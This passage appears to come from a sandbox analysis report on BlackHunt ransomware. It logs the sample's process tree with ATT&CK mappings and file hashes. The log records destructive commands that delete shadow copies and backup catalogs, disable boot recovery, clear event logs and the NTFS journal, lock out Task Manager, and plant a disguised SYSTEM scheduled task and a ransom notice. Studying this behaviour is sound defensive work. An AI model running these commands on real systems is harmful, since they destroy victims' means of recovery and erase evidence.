    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe" /F
  2⤵
  PID:1224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1240
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2956
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1548
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1916
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1572
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1556
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:844
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1016
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1632
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:904
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1548
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1944
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2576
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2844
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:656
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:436
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2256
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2884
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2696
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1704
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2472
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1488
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2572
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe"
  2⤵
  - Deletes itself
  PID:2092
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2884

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2596

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1648

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1928

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1364536657-202333622-972600435-18543684241202175649-154398150913649085331013079130"
1⤵
PID:2424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
749d506b1b5b3c46115d7abdd3c29fec

SHA1
ae91c8d52c3399cbd99d67cf09842a48ff1f1657

SHA256
82c4d2313a2729d6b6b3cc77c478598611a2bd958ef8691ab9631418dd1fb97e

SHA512
92c05312373b57de41c9552cbbabaa25f1c5e76d20c9dd99a509f4008d450df2ea3093fb16d60927848ab6b5b50ef5f460a37d005f118a3e849a207e08834f7c

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a6f79309c9d9eed3e67c466c83767ad3

SHA1
adbca28560c76ca8fe6ff0149924c63401b777eb

SHA256
8c675ca70486eabc63a1550c5a15125845ff902cf63b18491a0e0ce430ccf452

SHA512
96761c0db0903a0d248e94bab5b2a9c18c4a2cef756bc6e535a7ffe1d447081a812ef0537db4459abe3f03e3afec84f2f8b61203c20cb89ddfca0ecedae95708

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
42823141af0f8b7575ad261015992379

SHA1
572321da43d1d4b0b79695bd1b60642b375cfcfc

SHA256
666a036ab44696a5c15e89955fc9d9e75c938da04b25a86ef099bbe979e61b35

SHA512
f126e22c963afafd86c195f714bad4f03d87c18d087df15eeb4ef5fabfc987172de7ad900a6ab8f2d729f20e48fc113c333e3d53c93feea8d63a956b7afdc7af

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads